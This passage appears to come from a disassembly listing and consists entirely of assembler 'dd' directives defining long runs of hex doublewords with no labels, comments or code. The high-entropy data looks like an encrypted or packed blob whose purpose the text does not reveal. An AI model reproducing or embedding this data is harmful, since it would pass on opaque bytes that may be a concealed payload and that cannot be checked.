0DE7E2BADh, 0D532AC81h, 0EF204307h, 0F65F754Eh dd 1AAD201h, 0C56DCD22h, 0F9817E28h, 0DA3A5718h, 24035C97h dd 53436BD5h, 0F988F9B7h, 0FCC05BD8h, 806CE05h, 0F22322A9h dd 0D2F0E5BBh, 0DE09B858h, 42E1661Fh, 0A4097F1Ah, 0ADAEC082h dd 7381C725h, 0B774BD1h, 0CA55654Ch, 857FE72Ah, 0E73438C8h dd 0A5905A5Fh, 46CD6801h, 7F5F2E23h, 432F8A02h, 81E6501h dd 80078754h, 13820CEBh, 5DA26A9Ch, 3EF6395Ah, 5C48C3BAh dd 40E889A6h, 4CE6C15Bh, 441CCB08h, 34FF2511h, 15C2EFCh dd 0DD7A4CB5h, 0A10D0C93h, 973203Ch, 60440288h, 0C3E8D2AAh dd 0F6AE81C0h, 4803C082h, 95F19AF2h, 874F5C5Eh, 7F991F4Bh dd 0B2F73C1Bh, 0EF668A8Eh, 0C829FD5Eh, 0F376740h, 0E9661767h dd 5FC2E83Bh, 0BAF4DFEDh, 49E9E7D8h, 0A84FD69Ah, 10AD4AD2h dd 16867918h, 2C138D0Dh, 0D004103Ah, 7DCDFF88h, 3B8C2D78h dd 0DA4CF72Fh, 8FF22E1Ch, 0A5B8CA09h, 0AE56E61Ch, 8A9F33F2h dd 80C7E072h, 4A0A2077h, 0AEB77836h, 8E280A64h, 2ABDEA7h dd 10561270h, 0D7DA3351h, 262DE9CCh, 57C22BB7h, 82FD71BAh dd 9B0A17A4h, 0C0B9C3FEh, 0C35A70F9h, 1338D3DAh, 0B55182CDh dd 9AC139F8h, 2D24179Eh, 0AB0C386Ch, 4F701C79h, 0C780A8BEh dd 3F0901A3h, 0CA3EC552h, 0D69B498Ch, 0B3072F6h, 58106E6h dd 0F2B1C4C6h, 0BBFD2C2Ch, 3C7D78B7h, 0F3A7E937h, 4144139Ah dd 0C2EB14EDh, 18E31065h, 4C749ADDh, 0E46B18CFh, 0D65DE865h dd 6865402Ch, 45CD6DBDh, 0B9552F4h, 90C258A3h, 285B173Ah dd 0BB8985C8h, 4E36B1C7h, 0C9735280h, 3C575089h, 590B2D66h dd 0BD0690B0h, 1496B680h, 833E8468h, 22D3B3C6h, 329401E2h dd 0DD1DF4E2h, 0B1FC839Ch, 0F4013E2Fh, 7B79D1C4h, 0D95D0709h dd 0BEE64F1Eh, 0B91C48F9h, 4C261AFBh, 2DD85608h, 3AC1C751h dd 0ED2F0120h, 6E88814Ah, 0F54025EAh, 0A1DC5E10h, 0EC45ACD2h dd 7CEEFB24h, 0BF29689Fh, 48BC8967h, 52597675h, 2568A0B6h dd 0A3539D51h, 0BD555740h, 9E3D1811h, 27D2CE6Dh, 0D0F5626h dd 9BD90E47h, 8E7FC302h, 30BF0A3Bh, 4E5BE74h, 0A6010A66h dd 23247B18h, 0CF94E705h, 0DC5EB2CDh, 0F4310C88h, 0EAEEE7A3h dd 3801292Ah, 2B2AE20h, 3785F581h, 32408891h, 1396638h dd 2853482Ah, 295C08BAh, 0BB3D1CDAh, 0D5C9B226h, 7B55267h dd 0EB838904h, 982EEA16h, 0FF156812h, 7B54C732h, 0E730BFCh dd 1A2FEEC6h, 0BFBFC780h, 0CA707E92h, 789129Eh, 0D285DBA2h dd 0E4BCE880h, 97EFA4F4h, 16DD138Bh, 0B8500E6Dh, 66856DABh dd 2D90BF40h, 9D6EAFE9h, 26305751h, 0B13B29h, 41590558h dd 86354A20h, 0A2D17C13h, 9A7557E0h, 4285BE10h, 0EA4C2C8Fh dd 2FBE6816h, 7018228Ch, 0B22AE13Bh, 24469435h, 4C1371C5h dd 138541BAh, 577FFF33h, 448A8FE5h, 0D3E9430Ch, 6F24A1E5h dd 64C58EA2h, 0DE2E002Dh, 81269907h, 0D8E3ED07h, 0EE25A729h dd 4CE163FAh, 20198E8Dh, 21E9141Ch, 0F3A5D584h, 1B1014Eh dd 5041E980h, 0EFAF39CDh, 2AEF4000h, 42529E63h, 0D3761098h dd 4F29680Ah, 795A425Dh, 0DCC53005h, 0C9424CAFh, 1E98F15Ch dd 0F729165Ah, 2AB3724h, 0E958571Eh, 927DBB20h, 5BEB6032h dd 7F98A214h, 1EA43F8Ch, 25AC1079h, 655F8A82h, 2DE9067Bh dd 0BA072E15h, 19791AA0h, 0D00DA4h, 9276F768h, 3C23053h dd 6AABF3A1h, 0D82CB22Dh, 6B704105h, 71A17287h, 0C27B097Ch dd 0C7518974h, 0B2AD5213h, 0CD57E213h, 6C0EC4E1h, 2DEA3D50h dd 6FBC7403h, 2E5A9E9h, 4740E171h, 9C40320Ah, 11B4FEC4h dd 16C55408h, 8A1AEB29h, 8BF180B5h, 0B41DD1ECh, 0F6612F90h dd 0BAC050A2h, 8A5C6B25h, 0A0C2022Dh, 7D0A8223h, 495D0A05h dd 9E595EAFh, 49B0DF69h, 5E04BA16h, 0A39CE957h, 201937A3h dd 3834F9D2h, 1F81B5B7h, 0A26AAFCFh, 0D8EED278h, 232E9C5h dd 804A0E6Ch, 4E298590h, 0EA213F7Ah, 1C5AF919h, 9BF7131h dd 68615838h, 0DA69F424h, 0F273D8C1h, 9ABC1620h, 0BBF8BDD7h dd 2F7B5A9Dh, 1E5E5AD3h, 9D7CA370h, 54C468D9h, 4B073F91h dd 8A5E8266h, 13674A45h, 0EA011BF2h, 9FC8FDA4h, 0AF24B6B0h dd 0CF0B307Ch, 446776E1h, 0C2D8EB5Ch, 13B34B98h, 0D209A269h dd 6CFC9BAh, 0F70FFEF8h, 0D61FE10Fh, 0A182134h, 97EE40Fh dd 53E90DEEh, 25029370h, 1884108h, 1E716048h, 1D6D0139h dd 19F6CA81h, 2BE9E430h, 5AF2CD2h, 1D57550Bh, 28585087h dd 0F500ED46h, 0D299C2Ch, 64B35D45h, 0D8152274h, 0A64147F6h dd 557E4930h, 0F2E00E6Ah, 1BA81756h, 53DCAC59h, 10D08153h dd 0B1606675h, 1D0F168Bh, 34CAD4Fh, 0B61449C5h, 0B090FF67h dd 976BB1B9h, 9C801FF8h, 912544E3h, 54C634Ah, 9343E0EAh dd 2A87EF57h, 0C133A6F0h dd 60379E2h, 70D01CF2h, 7E043C0Eh, 29645124h, 1C780109h dd 3EE90B80h, 0B9C340B7h, 3A6500E3h, 0CDF18173h, 506B7803h dd 314156D0h, 0E1A198C2h, 7CAD2CCEh, 9DC29D28h, 7E1158BDh dd 1F664968h, 44C30B12h, 0AF5BDD60h, 0EDDFCFF0h, 0D77FA526h dd 97BAAD38h, 23F5C51Ch, 225C8080h, 0F0794EEEh, 102F68D4h dd 0C9BA987Ch, 0CB5480Bh, 815A2924h, 0C416CE68h, 38A52133h dd 4A3F4C66h, 30E96E2Ch, 58222DF5h, 1BF0C229h, 8028FE4Ch dd 149040F7h, 1E109F59h, 40AA788Dh, 17E9B082h, 0FE16FC74h dd 0FD821DEFh, 28D77118h, 2D2539BEh, 98E2D802h, 0FFD207Eh dd 9DE5585Dh, 5DD930C9h, 280B80E5h, 5AA4D6CBh, 0D30BB485h dd 0F4B9F2FEh, 0B00E8327h, 82D9B33Ch, 92B077C3h, 22CB2EC8h dd 400A7540h, 25EFA669h, 56EA2A5Ah, 58E3BE05h, 0B08276C8h dd 2F26FA37h, 0FB4663DBh, 29E5E680h, 0DE956B77h, 0CBA8172h dd 0E808A212h, 14A1DA7h, 163A019Dh, 87242DCCh, 95C1D50h dd 7E193503h, 0FD1BD0Bh, 5026E962h, 0EE017624h, 0E21609Ah dd 0F7EF875Fh, 0A408D56Fh, 8DCB8E3Fh, 2FCB0C6Fh, 39BAF6D6h dd 0C8C39EB0h, 5138B6E4h, 448B6ACFh, 0F5034825h, 34A98ABDh dd 38C6E97Ah, 0D7B85FB7h, 9DB5EAE4h, 3BD8E13Ah, 21D1C40Dh dd 1E33AC20h, 0CBB11536h, 1D2BFCE4h, 43725C23h, 0FB5DD73Fh dd 0BB017C9Eh, 62137B5Ch, 0FC860D3Eh, 0EAB65596h, 5E68C802h dd 613A5467h, 41839B08h, 266C8496h, 5DC606A0h, 0EF6E4405h dd 22B2AB04h, 0EF2110h, 5FF56CBAh, 96D701FEh, 94868A1Ch dd 81A04FBBh, 21042AF6h, 0F331050Bh, 5F09FF5Eh, 679EA587h dd 7BD8DB90h, 138CCE9h, 4161DA4Ch, 76F06A08h, 602981B1h dd 0AC9245B3h, 50E5E48h, 2141024Dh, 2A685EAh, 0F4252C54h dd 3CD4D861h, 0D28D4DEDh, 68AB42ABh, 20540434h, 0BF2B6C69h dd 4B082AE0h, 290C8991h, 7CC00C35h, 0CAFE3DE2h, 0D8BD3013h dd 13B0EE82h, 0D0595228h, 0D312DE5Fh, 5D003212h, 75647D1Ch dd 0C1D713F7h, 0E7CF03EFh, 0ED314FEh, 0D9F669CFh, 220B8400h dd 6BC7E90Ah, 235762E3h, 0B7D7ECCAh, 4112BE7Fh, 13908BB4h dd 0F4E4F80Fh, 693AC6F2h, 1A4ABC74h, 0FD2830FAh, 78F69194h dd 0BF80B691h, 46C4733Dh, 80CF0B81h, 4001A538h, 300F55EFh dd 0EC2FE979h, 3B62205Fh, 2F359C6Fh, 58B0D521h, 2E4846CDh dd 89C940F5h, 78210614h, 2790E8Eh, 20CFD4BCh, 51592F38h dd 504D21A2h, 0B84CB790h, 0FB3E6082h, 0C130E8B4h, 0C5584E0Ch dd 29B2700Bh, 1C34217Dh, 0D482F601h, 369ECF8h, 252A6EEBh dd 6A880506h, 0A0B80357h, 8B95128h, 42AB2D07h, 0C8D75CF6h dd 0EE3207BAh, 607A78BBh, 6866DE30h, 3FBC138Ah, 53E88887h dd 0FD54D737h, 71A15581h, 1D3EC05h, 2C610E06h, 4E9ECA01h dd 0C412AEF0h, 2837AF7Ch, 2C626580h, 32E9094Bh, 46E7013Dh dd 305A2901h, 813A615Bh, 2E8D6C9h, 61457589h, 4E06FEA6h dd 60C2F63h, 36E98CAh, 0CB091801h, 1C466Fh, 6FEF12Bh, 69C197F6h dd 53722A51h, 4B55B5Ch, 0ACE180D5h, 6E9B103Fh, 5F4DB84Eh dd 6D8080ACh, 0E93A51B2h, 48F00227h, 80984C20h, 0E0E2C0FEh dd 0B13B51FCh, 8E18204h, 0D1797368h, 1EF933Eh, 81E988C6h dd 76383842h, 5716A84Fh, 59CD6221h, 4AB3986Ah, 5C5A8CAAh dd 0D732D012h, 227E3309h, 96F9899Ch, 591B099h, 0E3331441h dd 0ECA594E9h, 0E9C1343Fh, 299F8EEEh, 0E71DC412h, 3240C9D7h dd 0D4664B8h, 93A9022h, 56EA28D3h, 2D338057h, 4B9165ACh dd 0FC8C0706h, 0C507081Ah, 6B7239FAh, 3F16C14Dh, 7B3A6800h dd 5B79F8BEh, 7C4EB63Eh, 0BC0EF980h, 4C096B4Ah, 880EE4F8h dd 8FD6F6CEh, 0FAE264F1h, 0EA315C01h, 94DC205Dh, 6D3E4209h dd 57DC8929h, 250B4228h, 0D759CB56h, 0E72FB965h, 0DA3861B6h dd 170DC6Dh, 0B3454FC1h, 425D2786h, 0D396FD34h, 68BA18FEh dd 1FEAE7A0h, 9C6A609h, 63E4C8D9h, 0E90B9E76h, 2BD96068h dd 0BA06B380h, 525B29A5h, 685A0D7Dh, 0B45B1040h, 0EC1F8023h dd 1C9BE9FFh, 0F75ADADBh, 65977014h, 9919A5B6h, 18126A91h dd 0EA88E1A6h, 34786841h, 9682F22Bh, 55AC3DEEh, 1512AF02h dd 0E91DDCABh, 41C2524Fh, 4148A2BDh, 0B6B3FF9Fh, 58ADE085h dd 9CC30501h, 0C5318AD0h, 0FE891229h, 59B52BF0h, 0E950E069h dd 5E8A458Fh, 0D4EF0272h, 0FA405964h, 7582DED6h, 0E74F1CF0h dd 685112C1h, 3C6B28C1h, 570359AAh, 38F26850h, 0A69687h dd 5BAF32E4h, 0E95A6235h, 0E8D1231Fh, 10672A03h, 2C86CFA4h dd 1450B7D4h, 0A313C590h, 45BB8468h, 57249B34h, 55DBF83h dd 56E55F5Dh, 0E90241D9h, 0C5A47B2Ah, 0E86041F5h, 99DE5547h dd 174AAECCh, 2842400Fh, 748AC2CEh, 0CCFE0323h, 76EF1CE9h dd 98B920EFh, 58C13112h, 3CCE7700h, 0E8050D21h, 0B0C8754Ah dd 9F029851h, 8E53E089h, 5A1F838Bh, 7E62B93h, 556806E8h dd 2625973Eh, 5A9E673h, 0DA64FBBFh, 2CDD1D20h, 277E176Ah dd 6ACF9042h, 0CC16385h, 9030D6F3h, 5112CB3Ch, 26930252h dd 0FC45714Bh, 2FF35CB0h, 0E9070D88h, 30A034CFh, 72EAB4D0h dd 1BBB5903h, 8C314976h, 98DEFCB0h, 38620E3h, 0FB4B5A5Eh dd 7D72424Ch, 0B394BAE0h, 2964AA97h, 970BC72Ch, 0C9FFC80h dd 54ED943Fh, 83C04097h, 5E30FDC7h, 4C270066h, 81EED15Eh dd 313EF6E6h, 60E98C1Bh, 2CD8B9C9h, 0AEBF42Ch, 17E42ED7h dd 0FE8BD81Eh, 6807A4BCh, 5F0918E3h, 5B5F5ECEh, 539F19BDh dd 0D318A9EFh, 0D02F44BFh, 9992EAEBh, 141F77F8h, 250DE909h dd 25805838h, 0E5360B38h, 0F12F90F1h, 288A6A0Ch, 16575516h dd 2A6FF101h, 0F9922FF2h, 6D1780A7h, 5CF775FFh, 0ED1CB4D9h dd 0E98A0492h, 16FFFC7Ah, 25981C33h, 0BEFEC152h, 2B74A86Ch dd 0E34F5CF0h, 6B776F28h, 0CCE0A004h, 2A73EE80h, 9803E63Dh dd 0C6F7BE3Ch, 5B85B050h, 40BCE93Ah, 0CA2DE908h, 8F390932h dd 0F5A8852h, 0A1B78952h, 5E822D1Ah, 0A8124CCBh, 4263AE07h dd 0D0E4DA53h, 2F60F715h, 0BCE9BDA6h, 3B88F9F8h, 0C0E99910h dd 556EED81h, 0B07C5A54h, 430083F8h, 0EBBA2332h, 5C2DE32Fh dd 2913F031h, 431119D5h, 1DA82F5Ch, 408E2FC5h, 2865F683h dd 88645AF3h, 0B2EF8282h, 40FE51D9h, 0E848959Dh, 4FAD574Bh dd 4659C502h, 4753E65h, 0F492501Fh, 4EE6D066h, 0EBA0C561h dd 5D78042Ah, 0B0126A7Dh, 0CC0FAA05h, 11D36675h, 48BF0416h dd 0C471247Bh, 0C59597A5h, 4D8501FDh, 837A9078h, 8A473790h dd 1818052Bh, 0CB674604h, 98E917A7h, 573F2E87h, 0C92672EBh dd 6D92AC78h, 9C6F9D5Dh, 32EFF3D3h, 2BC05BBBh, 3E327EC3h dd 88EBACECh, 5D1508B2h, 8A8C96FFh, 0A12725E9h, 372F5BA0h dd 9ACD4DD8h, 34D5F216h, 0ADA0812Fh, 0F70EE42Dh, 0EE052C05h dd 0C7EFFA5Ah, 0CB66CBFCh, 0DF1F9E31h, 44AD1AE3h, 39C27956h dd 65DCFC7Eh, 0D374FC5Ah, 4A9AFB00h, 2D680BDAh, 0B986744h dd 0A32D705Ch, 892CF402h, 101ADEFBh, 0B820B35Ah, 28881387h dd 2BC3A558h, 4B3DD8A4h, 0C9638C27h, 80C41F3Dh, 65E38143h dd 0A03B9C57h, 27173C9Fh, 91403984h, 215FCD68h, 0E4316834h dd 91074C1Ch, 0C1622CB7h, 4DA92EC8h, 356FDB4h, 36E9F0B3h dd 0BA413B94h, 6F01299Ch, 0F57BD32h, 8022C5EDh, 9D400AE2h dd 2D7F16B1h, 2F03A133h, 0F2B54849h, 2EA2E40h, 0CD66E2BDh dd 41A3ABE8h dd 0A6305D28h, 0ADCB5221h, 0F7EC0848h, 9F06C497h, 6812F9F2h dd 0D8C94D34h, 60A8882h, 536061E8h, 4A1FCE70h, 7F16E932h dd 35D4ECADh, 0F325A201h, 70D70122h, 0F14BD055h, 975807D8h dd 450C3A96h, 72164A1Bh, 0F90DD041h, 917BCD45h, 893314FDh dd 0C6511AE3h, 6DC709E3h, 32EA6F29h, 8AC18E0Eh, 6B2435A4h dd 62FFAEC5h, 9690543h, 24CA6059h, 9F00CD99h, 68221041h dd 0C724836h, 3C06B0DFh, 595BBF20h, 702D8E1h, 35DC005Eh dd 71B8427Dh, 0FF39A9BDh, 0C6E93490h, 819B0BB2h, 0F5480549h dd 0EA5E20EAh, 391815B8h, 0A3BC587Ch, 1E165B79h, 5A2577D0h dd 4568090Bh, 36FBFFCh, 22E34FB0h, 0F7041258h, 57FE87DEh dd 0A34A91ABh, 761AADF6h, 0F3131B8Eh, 0DCA443E2h, 0E8C2E559h dd 64B7A979h, 4845B546h, 499C2D01h, 6E3D3DBCh, 0BCE34F7Eh dd 3A05C087h, 0FC6B8F41h, 407E4FEEh, 4A8C31Ch, 0D0904CD9h dd 7F788D0Bh, 0D6E88476h, 99D0E34Bh, 30393F13h, 0D22C00Dh dd 59E98A20h, 0E64B06C8h, 0D828122Eh, 7E20372Dh, 0F9CBCE37h dd 91921EEEh, 800DD056h, 71FBBA0Eh, 1C8164CBh, 925A14F2h dd 909C126Ch, 0F56FC3BDh, 89C7040Ch, 74CFC6DFh, 134B7CC4h dd 0FDE872E9h, 26C14C17h, 68824F7Eh, 5D2B0F67h, 2860C868h dd 895A1D7Bh, 4E6012F6h, 6AFB785Fh, 98F4D2BDh, 0F0C7778Ah dd 212217A5h, 0C85AE0F8h, 54630E0Ah, 6525CBE9h, 612C9027h dd 8C96E961h, 5668BD51h, 2E18D59h, 30FE8D3Eh, 0D24159B3h dd 0DC65C07Ah, 4A4FCA2Ch, 7534F8D2h, 355C510Bh, 0BC58756h dd 78517D38h, 8E895EA5h, 251C5B7Bh, 5552847Ch, 2EBF9C49h dd 41FB4916h, 0E2392F68h, 0E40C8275h, 43094829h, 372A3AFCh dd 41BE3AD4h, 0FFC9F99Ah, 0AA529594h, 0A3D184D8h, 66AD28E2h dd 6DDA2484h, 0F1BA58D9h, 0E1D830B5h, 0A27BB7A0h, 7E0393BDh dd 40FFD38Ch, 1285DDAh, 3B09E3F0h, 843E9967h, 0A1E7197Bh dd 0BDE1E85Ah, 9005736Ch, 0AD73E825h, 74FA04ECh, 42EA19ADh dd 0DA7A9946h, 5A79C340h, 6686D782h, 0E5065BC5h, 49F934D3h dd 0F28F0766h, 412D13F8h, 7462F456h, 0F641B1C8h, 6CE0FFDEh dd 0C02836C1h, 3F449643h, 0EFCC90EBh, 3B50CDh, 649FD400h dd 134BE9EDh, 300DDFC0h, 383D0078h, 0F5331135h, 0D85CF710h dd 48021E2Fh, 62967BC0h, 0B253E908h, 16554E72h, 0BB3CD49Bh dd 0E9C25DA6h, 0DB5FF4A6h, 1708A66Eh, 6F62EB01h, 589AA729h dd 0A202E21Ah, 7A7E1021h, 2EA52ABEh, 0D5E63ECFh, 9764CBFh dd 7A579FF6h, 387B8077h, 5A96DA44h, 0CB230D01h, 9C13E078h dd 7CF4714Ch, 44BB82D7h, 0FEDE6E4Dh, 57307761h, 0C1E8A593h dd 0DCD5F691h, 4795F585h, 0D354A771h, 68660956h, 0A2F46081h dd 55EC7D42h, 0F4F3B66h, 49E95184h, 89CADF5h, 41011503h dd 3A491668h, 0A79B2D32h, 0E4E25C98h, 0F1FF4C1Dh, 0C3003922h dd 0A518A357h, 55558F68h, 0B8BC3413h, 2F5F7B16h, 7F6B50Ah dd 0E0E85B12h, 685551E0h, 0C0358801h, 0D5F75D19h, 7736520h dd 89E63FCAh, 0ACC515E9h, 0A73500F8h, 21E74079h, 0FE5872C1h dd 1342CD0Bh, 3656E08Bh, 0DE4C379Ah, 272F38E8h, 259ADF01h dd 4DA086C0h, 816B6300h, 9B19D4E1h, 76E92D48h, 0C557EBC2h dd 132E9774h, 797DEE97h, 13ABB36Bh, 0A37E694h, 757FC182h dd 9AF25666h, 0F697F270h, 0D350E949h, 2E82FD4Ah, 70DB4048h dd 1A72E4Bh, 64CE1250h, 93395F16h, 0D97BD0D6h, 794CD74Eh dd 2FA38026h, 5F29414Ch, 403BA37Ch, 629F5F0Ch, 581C0070h dd 981C5721h, 0FEF32E39h, 688BBF4Ch, 0EAB075DFh, 3504C5BBh dd 0F1E3E984h, 254857A2h, 0B4E6802h, 8B55189Eh, 58F5DABDh dd 0A848974Fh, 9A458507h, 0E2608B41h, 912E013Dh, 5A01D517h dd 4B4D235Ch, 89641A9Dh, 0CD707FC8h, 95447095h, 0B93EA572h dd 0AAAC4A2Ch, 7F92FBA1h, 3E96B444h, 4A7D0E14h, 2D56C2BBh dd 7C094A89h, 10DDF90Bh, 0C4718465h, 0EE21593Fh, 0F43FBCF5h dd 0C5AAF1D2h, 76FA7EA0h, 5900419Fh, 3031B850h, 4FE922BFh dd 0AF97C564h, 0E701A2C8h, 0D76F6FD9h, 306190AAh, 8075BFEh dd 0DCF65AF4h, 28CCC4B0h, 1AE928E3h, 42F70434h, 0EB50851Ch dd 7BD957D2h, 0FB01090Bh, 49C47Ch, 0E68ACD0Ch, 4B16D2EAh dd 91F1B9A4h, 31125B08h, 441B4F0h, 66FFD1EFh, 0C647944Fh dd 0F5DC9893h, 0B0755079h, 0C94A4F6Ch, 349F6F8Fh, 4114944Ah dd 90646826h, 3158F4BBh, 3B89CDFBh, 0D3DE2EF2h, 0B21EFCEBh dd 0C092494Ah, 0EE11DE3Ch, 0E3EA026Ch, 77B00CD3h, 1173353h dd 2F720388h, 6CA666Ch, 0B25D0804h, 7C02CB7Eh, 13269F4h dd 2A51A561h, 0E789831h, 5EB0CA68h, 0FDB05257h, 0DFB3B06h dd 170B94BFh, 155AD731h, 74593385h, 0A57CA897h, 6566AD01h dd 2B8969C1h, 13D840E9h, 8839F1B7h, 511DDB15h, 28808F96h dd 0A8480D68h, 0BE0485A0h, 695A511Eh, 838C92C0h, 26310352h dd 7AF5E963h, 591E1776h, 0FCE75E16h, 0AF471459h, 0B145C204h dd 38C4C15Ah, 83EA0523h, 2ECA6847h, 0B5007866h, 22B4508Bh dd 9004E4C0h, 39ECEA80h, 0EDF8007h, 0E50BDF7Ah, 4630FECCh dd 3EB1DFFCh, 80DB0BB3h, 7FD4FEBh, 5953C3EEh, 3AE9B0FEh dd 9C1BB13h, 0C0865453h, 0E51CC31Fh, 63160871h, 0B3BD4001h dd 0C46EEE37h, 0D2D80079h, 2928CA18h, 1DE9D30Ch, 0FC53982h dd 7BFF7008h, 0FAE86264h, 6F83B534h, 441EF974h, 0C2F9B7FCh dd 2EBC11Eh, 6D6245Fh, 0AAA47CD7h, 0E9B8C3C0h, 0ACF14FE0h dd 0ED74A71Dh, 4240EE16h, 46C172C9h, 0D868175Bh, 0B649A830h dd 38390428h, 0C729730Dh, 0B3DAF57Bh, 200048B9h, 0ED424833h dd 0F81D3A05h, 8EC7FA27h, 6D68020Eh, 2007EC64h, 5A5AC2ADh dd 2B18A9ADh, 0CA32D23h, 0B424D84Ah, 2FC829FBh, 975EABDCh dd 0B98009F6h, 41775948h, 17E09731h, 5E9FFF7Ah, 32F143F3h dd 98ED3A5Fh, 0F920AE93h, 58AA0907h, 0B139811Ch, 0E9659482h dd 65DFEAD1h, 10F5C909h, 0C0A73A8Ch, 19FDEA29h, 176354Bh dd 4B08CCD0h, 2BF20561h, 1D2855C5h, 0B9382920h, 27529219h dd 0BB0807EBh, 57B8623Ch, 7DF7C85Fh, 5DAB1B3h, 857934C3h dd 19C1FE65h, 0E40A565h, 2F2822BDh, 24D64F49h, 2F183DC7h dd 534C46D0h, 1EE9A154h, 0C5FF02CBh, 4882CB03h, 286CA40h dd 20685881h, 1E426B0Bh, 60802257h, 0F56802E5h, 0EA391B5Dh dd 2792D41Bh, 0CBC2DED6h, 0D229574Dh, 0D6DCCD8Bh, 0C7747C59h dd 52AB2D68h, 0E59A2D93h, 0ED0F43DBh, 3A3F2455h, 87D50EAh dd 0C7D35E2Fh, 42DE5E2Fh, 6974FAE9h, 4ECCE12Dh, 9DBC63A0h dd 52806DDCh, 0B5511BB6h, 0EE303F6Bh, 0E979055Eh, 7EBAB1C8h dd 305B3D66h, 803E31D2h, 0E1E686F1h, 0AF5FBC7Bh, 5A2486CAh dd 10098905h, 0C370CBD8h, 164D7C12h, 28BA3A01h, 812E2B3Bh dd 65E2FD5Fh, 0AB2D6ABFh, 57987731h, 0FE69B8E7h, 8004CE61h dd 0C6DCF2E6h, 915E2AE9h, 92899486h, 0A74AA5Dh, 2063F504h dd 0FA52F5h, 0FFF57BBBh, 5467ABDh, 295CD9CAh, 30E3EC3Eh dd 0A001CC4Ah, 0CBC05010h, 0A76D1830h, 73340C7Ah, 0E91A62F0h dd 62832526h, 0C0FE4062h, 4D862C71h, 300848ADh, 0B2736B1Ch dd 170B6AE7h, 0B9AB3404h, 0B7F6A5ACh, 44B7FC7Ah, 126D5467h dd 0B594B909h, 45D4C8D1h, 0ADCFA03Ch, 535AE7C4h, 69E38F05h dd 48E195B4h, 0C05ED16Bh, 0DA270B1Bh, 6C95229Dh, 0EFAFFDD7h dd 0B40D2EC1h, 151CA489h dd 837E3200h, 82DA0120h, 0BA71080Bh, 1932016Ah, 43A2FD5Ah dd 98D7F5C2h, 9D2DBA23h, 864AB73Ah, 0BC7A7282h, 20D6700Bh dd 4348CC89h, 0C4F1013Ah, 0D8319107h, 0BD2708F8h, 4C3D1A14h dd 55D9DB19h, 0EE25EC38h, 9A95E4F0h, 0F3D97FE8h, 849C2768h dd 2CF70AB7h, 0C8E51972h, 9F01490Ah, 99893BD3h, 4A14F513h dd 1EAAA20h, 0E743C4B8h, 21C22133h, 5D50F0A2h, 0F6779825h dd 0AD1004E7h, 5D0CC651h, 83A395E0h, 0D50BE998h, 92F4D1B7h dd 5D9EB021h, 2E1C72BFh, 1425350h, 5B041927h, 8705D843h dd 0B30973B3h, 0A52C7B12h, 0DC6BAE5Ch, 0CA5EA50Bh, 86A6F62Ch dd 0FFE17D16h, 0B9BD682Eh, 0F4979E70h, 375C7AEFh, 5B96A05Ah dd 17610A1Ch, 0FD9C95E9h, 71297747h, 0CC0BC862h, 29A604EAh dd 363032AAh, 0C383E074h, 0F46D2D3Fh, 2F12B4BDh, 0CA24BADFh dd 0D521AF90h, 0E7C11234h, 53E00308h, 0CCEC85Bh, 16A0B102h dd 0C1FB89F6h, 8604ED14h, 98B4B261h, 0CFE6DF00h, 0C0EE2910h dd 0C74C612h, 9FB86705h, 0FF5BDB40h, 0D4E9017Fh, 0E46EC371h dd 73975549h, 6622039Ah, 0C5C27DCFh, 5EBD302h, 80DB8D5Ah dd 0F7DDB9C8h, 5AE92D64h, 0F96C1681h, 77578B28h, 0B79874B4h dd 511FD20h, 0C03C84BFh, 0AC0BFB19h, 9FDD502Eh, 518EDF1h dd 2559DAE4h, 47D240Bh, 0C5A8A8D4h, 5F6E8F5Fh, 2D355C40h dd 44E9106Ah, 0C90180C3h, 50B252CEh, 4760D128h, 0F4AA4B47h dd 75456E04h, 715FB592h, 53AE529h, 27D8E01h, 0A63C7CCCh dd 0FD80F501h, 1018333h, 0E27B47ECh, 65D7897Eh, 0E222FB9h dd 0E7DD793Bh, 0B8500021h, 30DE4C16h, 9724419Ah, 9517EA5h dd 35BFD83Bh, 0C4B1209h, 3F350766h, 0E9B00780h, 30B6609Ch dd 7B0268ADh, 58D8DBCBh, 0D4F097C9h, 28B6B20Eh, 45AC3D0h dd 6EC2B441h, 97ECFCF2h, 0E7770CCFh, 0C84F290Eh, 829B39FAh dd 0EB1672FEh, 687BC02Eh, 5EB9054Fh, 0D02B4DE9h, 54614CDCh dd 0CB892D1Fh, 0C42DAB1Fh, 8344A10Dh, 3C93A96Ah, 0E5F4126Dh dd 0DAC5FAE9h, 8844BF5Bh, 79D884ECh, 97B88034h, 3C3DD482h dd 0EF8AB013h, 9C73376h, 69BD6855h, 0DDE948D9h, 0E1358514h dd 0BD82A394h, 7D167F29h, 79A5E280h, 0E92FE209h, 2DAE74D1h dd 0F71C3A73h, 74F03B6Ah, 6B861751h, 0DCACA80h, 571762Dh dd 0E235D1C9h, 2DC4BC68h, 67DEE049h, 31662EB5h, 0E3FD89C4h dd 60651E54h, 91B84CB0h, 0BC29F2Fh, 5C8DA0Ch, 9F3B55B7h dd 22E3026Ah, 8021037Eh, 0E94B0499h, 0B3464BD9h, 156058Fh dd 3109679Eh, 0F654C88Ah, 0F05C4AEFh, 0F15EB507h, 0B045998Ch dd 8FB29786h, 13F80B40h, 8E0518C0h, 92656727h, 0C4154E76h dd 0BDC0FAC2h, 0E584B2Dh, 13355DE7h, 0EEF1DEA5h, 273134C9h dd 0C0A7037Bh, 0ED9907E5h, 5682008h, 0DF6AD5FCh, 933B6B8Ah dd 54F3AB2Ch, 3E12850Eh, 0B34F8B34h, 0FAB2644Ah, 82CB3492h dd 6A25ADh, 89504A05h, 2B950E75h, 15C6C0F5h, 0E16E97BEh dd 0D36403F6h, 77A458CAh, 0AE2A656Ch, 0BA49EA5Bh, 6C1E544Fh dd 0E25830A8h, 0E4D2B26Eh, 0FFC73C29h, 671EF315h, 4C01295Bh dd 1FFF5A8h, 3C2A5B54h, 552EE953h, 0D19D7988h, 0B25B0FCBh dd 4F597D53h, 5316FA12h, 91C170C9h, 0B120B76h, 2AAED3D2h dd 0EC274E89h, 7B9DEC53h, 1087AC49h, 0F3F650EDh, 1962ADF0h dd 7E5BDED7h, 16923D2Bh, 0A1D7A8EFh, 3162FAB9h, 25FD4112h dd 0A382BF1Ah, 0E8EF5552h, 5B4F7E0Ah, 0E630DAADh, 0FFEA31BCh dd 685EF3E2h, 94BAD6B3h, 8838E01Eh, 0DEA32B5Ah, 31687054h dd 3C6559CAh, 54B3004Ch, 0AAC33080h, 0C4041A06h, 92450E9Fh dd 0FC7DE3F5h, 3B5EA110h, 0D1A71740h, 555F4622h, 74B2B4E0h dd 0FEEBC5CEh, 13C92616h, 0EE25B4FDh, 1A85622Fh, 6C0525E8h dd 327CC819h, 